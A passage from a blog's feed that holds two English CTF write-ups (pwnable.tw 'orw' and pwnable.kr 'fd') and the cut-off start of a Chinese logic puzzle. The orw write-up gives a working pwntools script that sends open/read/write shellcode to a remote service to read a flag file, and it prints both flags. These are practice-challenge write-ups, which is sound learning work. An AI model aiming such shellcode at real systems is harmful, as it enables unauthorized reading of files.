14b1aa92ce9f83802ec881dbd0d4ed8cbc8940a4adee975d39e6af9ca84aaf02b30cc1b0d067ebab111d75d684df744e93c76c394786e067dd1cf193e403fca4fc719aabaed7fb70236eacf0fa5af151e2d66f7481d8bfd854ce82ebe1937e621127cb16bc6106848711d943ed1e48dab547a8cffed1f976d8af8965ac32178b4528282556ee12516eb5076b787d79de2055ded64cde50fe4767917ac9accf4133676bcea31d8ec934d68608459ab5050e16338732f40fc0e17a6ea3d8b147caa90e94e603610546877a8d7891a5304514615c871a2f61e8a3a1b0f014b0c396b47bb00f7093da9c16a00c542abedac96d420e80c005554b0f19dcd19e5e7bd7262cfec09b9535dcdd1831abbabb40a0f8261b96c5b2ded4ca09e4c946bc9dd696654b7d73b103ddb1ba75f2aa8ecaea63c5cf0f3ff479e0f8a50b37b9ebc775cfffb2276dadbb5ba6964a27f04979fd636773ff3472c09ce52ea9ded4837d5adff1f65df5f017dfa0192a2b8da44482dc274b442fecffc8420824ca6a2eda865c52d37e0321352d5bd6491c699131ff4839c08d9f58e798035486431f97fde35f45e76b7affa78a6f5c4a6024af68c41286ff2d40626465bb76dc084467eb52f3b270f112869e55de1a6fc2e4735388db831b5501983ef6eb477fcd36ce61ec6649d57804254908c856b7febb3f46248ce645b4975e4978bb9de13c1dfc81864485a505e2ac0cb8f5ee6c527f8f8983d446fba60e8233b943058d2ea51231c95fa1153db4b0be7f23069df4c8ad9fff9e04d8  </script>  <div class="hbe hbe-content">    <form id="hbeForm" class="hbe hbe-form" onsubmit="return false">      <div class="hbe hbe-input hbe-input-default">      <input class="hbe hbe-input-field hbe-input-field-default" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-default" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-default">Hey, password is required here.</span>      </label>    </div>      <button class="hbe hbe-button" type="submit">Decrypt</button>      <div class="hbe hbe-error" role="alert" aria-live="polite"></div>    </form>  </div></div><script data-pjax src="/lib/hbe.9e70f1e1d2.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/29/AIS3-%E5%A5%BD%E5%8E%B2%E9%A7%AD-Cloud-Security-%E7%AD%86%E8%A8%98/</id>
    <link href="https://r3xdj.pages.dev/2026/06/29/AIS3-%E5%A5%BD%E5%8E%B2%E9%A7%AD-Cloud-Security-%E7%AD%86%E8%A8%98/"/>
    <published>2026-06-29T07:14:50.000Z</published>
    <summary>Here's something encrypted, password is required to continue reading.</summary>
    <title>AIS3 好厲駭 - Cloud Security 筆記</title>
    <updated>2026-06-29T07:14:50.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="Cyber" scheme="https://r3xdj.pages.dev/categories/Cyber/"/>
    <category term="CTF Writeup" scheme="https://r3xdj.pages.dev/categories/Cyber/CTF-Writeup/"/>
    <category term="pwn" scheme="https://r3xdj.pages.dev/tags/pwn/"/>
    <category term="pwnabletw" scheme="https://r3xdj.pages.dev/tags/pwnabletw/"/>
    <category term="shellcode" scheme="https://r3xdj.pages.dev/tags/shellcode/"/>
    <category term="bof" scheme="https://r3xdj.pages.dev/tags/bof/"/>
    <content>
      <![CDATA[<h1 id="challenge-description" tabindex="-1">Challenge description</h1><p>Read the flag from /home/orw/flag.<br>Only open read write syscall are allowed to use.</p><pre class="line-numbers language-none"><code class="language-none">nc chall.pwnable.tw 10001<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><blockquote><p>I don’t know why Microsoft Defender suggests it’s a virus, lol.<br>Let’s do it on Kali :)</p></blockquote><h1 id="inspection" tabindex="-1">Inspection</h1><h2 id="file" tabindex="-1" id="file">file</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">┌──<span class="token punctuation">(</span>kali㉿kali<span class="token punctuation">)</span>-<span class="token punctuation">[</span>~/Desktop<span class="token punctuation">]</span>└─$ <span class="token function">file</span> orw           orw: ELF <span class="token number">32</span>-bit LSB executable, Intel i386, version <span class="token number">1</span> <span class="token punctuation">(</span>SYSV<span class="token punctuation">)</span>, dynamically linked, interpreter /lib/ld-linux.so.2, <span class="token keyword">for</span> GNU/Linux <span class="token number">2.6</span>.32, BuildID<span class="token punctuation">[</span>sha1<span class="token punctuation">]</span><span class="token operator">=</span>e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>It is a 32-bit x86 ELF binary.</p><h2 id="checksec" tabindex="-1" id="checksec">checksec</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">┌──<span class="token punctuation">(</span>kali㉿kali<span class="token punctuation">)</span>-<span class="token punctuation">[</span>~/Desktop<span class="token punctuation">]</span>└─$ checksec <span class="token parameter variable">--file</span><span class="token operator">=</span>orwRELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILEPartial RELRO   Canary found      NX disabled   No PIE          No RPATH   No RUNPATH   <span class="token number">74</span> Symbols        No    <span class="token number">0</span>               <span class="token number">2</span>               orw<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>Both NX and PIE are disabled.</p><h2 id="seccomp-tools" tabindex="-1" id="seccomp-tools">seccomp-tools</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">┌──<span class="token punctuation">(</span>kali㉿kali<span class="token punctuation">)</span>-<span class="token punctuation">[</span>~/Desktop<span class="token punctuation">]</span>└─$ seccomp-tools dump ./orw line  CODE  JT   JF      K<span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">=</span> 0000: 0x20 0x00 0x00 0x00000004  A <span class="token operator">=</span> arch 0001: 0x15 0x00 0x09 0x40000003  <span class="token keyword">if</span> <span class="token punctuation">(</span>A <span class="token operator">!=</span> ARCH_I386<span class="token punctuation">)</span> goto 0011 0002: 0x20 0x00 0x00 0x00000000  A <span class="token operator">=</span> sys_number 0003: 0x15 0x07 0x00 0x000000ad  <span class="token keyword">if</span> <span class="token punctuation">(</span>A <span class="token operator">==</span> rt_sigreturn<span class="token punctuation">)</span> goto 0011 0004: 0x15 0x06 0x00 0x00000077  <span class="token keyword">if</span> <span class="token punctuation">(</span>A <span class="token operator">==</span> sigreturn<span class="token punctuation">)</span> goto 0011 0005: 0x15 0x05 0x00 0x000000fc  <span class="token keyword">if</span> <span class="token punctuation">(</span>A <span class="token operator">==</span> exit_group<span class="token punctuation">)</span> goto 0011 0006: 0x15 0x04 0x00 0x00000001  <span class="token keyword">if</span> <span class="token punctuation">(</span>A <span class="token operator">==</span> <span class="token builtin class-name">exit</span><span class="token punctuation">)</span> goto 0011 0007: 0x15 0x03 0x00 0x00000005  <span class="token keyword">if</span> <span class="token punctuation">(</span>A <span class="token operator">==</span> <span class="token function">open</span><span class="token punctuation">)</span> goto 0011 0008: 0x15 0x02 0x00 0x00000003  <span class="token keyword">if</span> <span class="token punctuation">(</span>A <span class="token operator">==</span> <span class="token builtin class-name">read</span><span class="token punctuation">)</span> goto 0011 0009: 0x15 0x01 0x00 0x00000004  <span class="token keyword">if</span> <span class="token punctuation">(</span>A <span class="token operator">==</span> <span class="token function">write</span><span class="token punctuation">)</span> goto 0011 0010: 0x06 0x00 0x00 0x00050026  <span class="token builtin class-name">return</span> ERRNO<span class="token punctuation">(</span><span class="token number">38</span><span class="token punctuation">)</span> 0011: 0x06 0x00 0x00 0x7fff0000  <span class="token builtin class-name">return</span> ALLOW<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>As stated in the challenge description, only the open, read, and write syscalls are allowed.</p><h2 id="decompile" tabindex="-1" id="Decompile">Decompile</h2><p>Decompiling the binary with Ghidra gives the following code:</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">undefined4 <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token function">orw_seccomp</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"Give my your shellcode:"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">read</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span>shellcode<span class="token punctuation">,</span><span class="token number">200</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">(</span><span class="token operator">*</span><span class="token punctuation">(</span>code <span class="token operator">*</span><span class="token punctuation">)</span>shellcode<span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>It simply asks for shellcode and execute it directly. Therefore, all we need to do is construct a valid shellcode.</p><h1 id="solving" tabindex="-1">Solving</h1><p>We will invoke the open, read, and write syscalls in sequence to print the flag.<br>Referring to <a href="https://x86.syscall.sh">https://x86.syscall.sh</a>, we can see the required arguments the registers used to pass them. You can write the shellcode manually, but I will use pwntools’ built-in function, <code>shellcraft</code>, to keep the task simple. The exploit should be easy to understand:</p><pre class="line-numbers language-python" data-language="python"><div class="caption"><span>exploit.py</span></div><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>context<span class="token punctuation">.</span>arch <span class="token operator">=</span> <span class="token string">"i386"</span>context<span class="token punctuation">.</span>os <span class="token operator">=</span> <span class="token string">"linux"</span>io <span class="token operator">=</span> remote<span class="token punctuation">(</span><span class="token string">"chall.pwnable.tw"</span><span class="token punctuation">,</span> <span class="token number">10001</span><span class="token punctuation">)</span>sc <span class="token operator">=</span> asm<span class="token punctuation">(</span>        shellcraft<span class="token punctuation">.</span><span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">b'/home/orw/flag'</span><span class="token punctuation">)</span> <span class="token operator">+</span>        shellcraft<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token string">'eax'</span><span class="token punctuation">,</span> <span class="token string">'esp'</span><span class="token punctuation">,</span> <span class="token string">'0x50'</span><span class="token punctuation">)</span> <span class="token operator">+</span>        shellcraft<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'esp'</span><span class="token punctuation">,</span> <span class="token string">'0x50'</span><span class="token punctuation">)</span>        <span class="token punctuation">)</span>io<span class="token punctuation">.</span>sendafter<span class="token punctuation">(</span><span class="token string">b'Give my your shellcode:'</span><span class="token punctuation">,</span> sc<span class="token punctuation">)</span>info<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"The flag is: </span><span class="token interpolation"><span class="token punctuation">&#123;</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span>b'<span class="token punctuation">&#125;</span></span><span class="token string">').decode()&#125;"</span></span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>We use the return value (stored in <code>$eax</code>) as the first argument to the read function. This value is the file descriptor of the flag file that we just opened.<br>We pass <code>1</code> to the write function because file descriptor <code>1</code> corresponds to stdout.</p><p>Run the script and get the flag!</p><p>Flag: <code>FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}</code></p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/29/pwnable-tw-orw-Writeup/</id>
    <link href="https://r3xdj.pages.dev/2026/06/29/pwnable-tw-orw-Writeup/"/>
    <published>2026-06-29T04:28:08.000Z</published>
    <summary>
      <![CDATA[<h1 id="challenge-description" tabindex="-1">Challenge description</h1>
<p>Read the flag from /home/orw/flag.<br>
Only open read write sysca]]>
    </summary>
    <title>pwnable.tw - orw Writeup</title>
    <updated>2026-06-29T04:28:08.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="Cyber" scheme="https://r3xdj.pages.dev/categories/Cyber/"/>
    <category term="CTF Writeup" scheme="https://r3xdj.pages.dev/categories/Cyber/CTF-Writeup/"/>
    <category term="pwn" scheme="https://r3xdj.pages.dev/tags/pwn/"/>
    <category term="pwnablekr" scheme="https://r3xdj.pages.dev/tags/pwnablekr/"/>
    <category term="fd" scheme="https://r3xdj.pages.dev/tags/fd/"/>
    <category term="linux" scheme="https://r3xdj.pages.dev/tags/linux/"/>
    <content>
      <![CDATA[<h1 id="challenge-description" tabindex="-1">Challenge Description</h1><p>Mommy! what is a file descriptor in Linux?</p><p>* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:<br><a href="https://youtu.be/971eZhMHQQw">https://youtu.be/971eZhMHQQw</a></p><pre class="line-numbers language-none"><code class="language-none">ssh fd@pwnable.kr -p2222 (pw:guest)<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h1 id="solution" tabindex="-1">Solution</h1><p>Log in to the shell and list the current directory.</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">fd@ubuntu:~$ <span class="token function">ls</span>fd  fd.c  flag  readme<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>Try to cat the flag, we get “Permission denied”.</p><p>So, we inspect the source code of <code>fd.c</code></p><pre class="line-numbers language-c" data-language="c"><div class="caption"><span>fd.c</span></div><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;string.h></span></span><span class="token keyword">char</span> buf<span class="token punctuation">[</span><span class="token number">32</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">int</span> argc<span class="token punctuation">,</span> <span class="token keyword">char</span><span class="token operator">*</span> argv<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token keyword">char</span><span class="token operator">*</span> envp<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token keyword">if</span><span class="token punctuation">(</span>argc<span class="token operator">&lt;</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>                <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"pass argv[1] a number\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token keyword">int</span> fd <span class="token operator">=</span> <span class="token function">atoi</span><span class="token punctuation">(</span> argv<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0x1234</span><span class="token punctuation">;</span>        <span class="token keyword">int</span> len <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>        len <span class="token operator">=</span> <span class="token function">read</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> buf<span class="token punctuation">,</span> <span class="token number">32</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">strcmp</span><span class="token punctuation">(</span><span class="token string">"LETMEWIN\n"</span><span class="token punctuation">,</span> buf<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>                <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"good job :)\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token function">setregid</span><span class="token punctuation">(</span><span class="token function">getegid</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">getegid</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token function">system</span><span class="token punctuation">(</span><span class="token string">"/bin/cat flag"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token function">exit</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"learn about Linux file IO\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>For reference, <code>atoi</code> converts a string to an integer.</p></blockquote><p>We need to pass in an argument, and the program will subtract it by 0x1234, which is 4660 in decimal.<br>Next, it treats this value as the file descriptor, then read from that file descriptor.<br>We know there are three default file descriptors: <code>0</code> for standard input (stdin), <code>1</code> for standard output (stdout), and <code>2</code> for standard error (stderr). The only one whose input we can control is stdin, so we use <code>./fd 4660</code> to make <code>fd</code> equal to 0, then enter <code>LETMEWIN</code>.<br>Here is the output:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">fd@ubuntu:~$ ./fd <span class="token number">4660</span>LETMEWINgood job <span class="token builtin class-name">:</span><span class="token punctuation">)</span>Mama<span class="token operator">!</span> Now_I_understand_what_file_descriptors_are<span class="token operator">!</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>Flag: <code>Mama! Now_I_understand_what_file_descriptors_are!</code></p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/29/pwnable-kr-fd-Writeup/</id>
    <link href="https://r3xdj.pages.dev/2026/06/29/pwnable-kr-fd-Writeup/"/>
    <published>2026-06-29T03:15:51.000Z</published>
    <summary>
      <![CDATA[<h1 id="challenge-description" tabindex="-1">Challenge Description</h1>
<p>Mommy! what is a file descriptor in Linux?</p>
<p>* try to play t]]>
    </summary>
    <title>pwnable.kr - fd Writeup</title>
    <updated>2026-06-29T03:15:51.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="Math" scheme="https://r3xdj.pages.dev/categories/Math/"/>
    <category term="Logic" scheme="https://r3xdj.pages.dev/categories/Math/Logic/"/>
    <category term="math" scheme="https://r3xdj.pages.dev/tags/math/"/>
    <category term="logic" scheme="https://r3xdj.pages.dev/tags/logic/"/>
    <category term="puzzle" scheme="https://r3xdj.pages.dev/tags/puzzle/"/>
    <content>
      <![CDATA[<blockquote><p>甲：乙不知道這兩個數是什麼<br>丙：我知道這兩個數是什麼了</p></blockquote><h1 id="%E6%95%B8%E5%AD%97%E7%8B%BC%E4%BA%BA%E6%AE%BA" tabindex="-1">數字狼人殺</h1><p>我在升高三暑假某次靈機一動，覺得可以把誰說謊誰誠實，跟我知道你不知道兩種邏輯題結合起來。於是我在數學培訓就開始想，回家後打開Excel去湊數字，搞了好幾天終於設計出了這個魔王題！<s>但好像大家都懶得挑戰w</s></p><h2 id="%E9%A1%8C%E7%9B%AE%E6%95%98%E8%BF%B0" tabindex="-1" id="題目敘述">題目敘述</h2><p>小明選取了兩個正整數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo separator="true">,</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x,y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>，滿足<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>&lt;</mo><mi>x</mi><mo>&lt;</mo><mi>y</mi><mo>&lt;</mo><mn>10</mn></mrow><annotation encoding="application/x-tex">1&lt;x&lt;y&lt;10</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6835em;vertical-align:-0.0391em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10</span></span></span></span>，他將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>告訴甲、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>y</mi></mrow><annotation encoding="application/x-tex">xy</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>告訴乙、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x-y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>告訴丙。已知甲、乙、丙皆有可能說實話或謊話，但說實話者永遠說實話，說謊話者永遠說謊話，且在開始對話前，甲、乙、丙三人互相對彼此說實話或謊話的情形一無所知。假設甲、乙、丙都是絕頂聰明的，能運用所有現有知識做出盡可能多的推論，現在，他們開始以下對話：</p><p>甲：我不知道這兩個數是什麼，但我知道這兩個數中一定有奇數<br>乙：我不知道這兩個數是什麼<br>丙：我不知道這個數是什麼，不過甲在說謊<br>甲：乙不知道這兩個數是什麼<br>乙：的確，我不知道<br>丙：甲不知道這兩個數是多少，而且乙在說謊<br>甲：我不完全知道乙和丙是否說謊的全部實情<br>乙：我手上的數字(<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>y</mi></mrow><annotation encoding="application/x-tex">xy</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>)是偶數<br>丙：我現在知道這兩個數是什麼</p><p>(註：三人都是在確認自己說的話一定是實話或謊話才會講，以避免說出不小心說出不符合自己人設的話；另外，要整句話皆為真才是實話)<br>請問：</p><p>(以下2~5題皆承接1.，即假設真正的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>即是使<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>達最小的那組)</p><ol><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span> 的所有可能為何？使得<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>最小的那組<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>為何？</p></li><li><p>丙說完他的第二句話後，據甲所知所有他認為有可能的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>所組成的最小集合為何？</p></li><li><p>甲、乙、丙三人知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>確切值的順序為何？分別在何時就知道了？</p></li><li><p>原對話刪除其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>句，且確保三人的邏輯嚴謹與合理，若欲使丙仍能判斷出<span class="katex"><span class="katex-mathml"><math 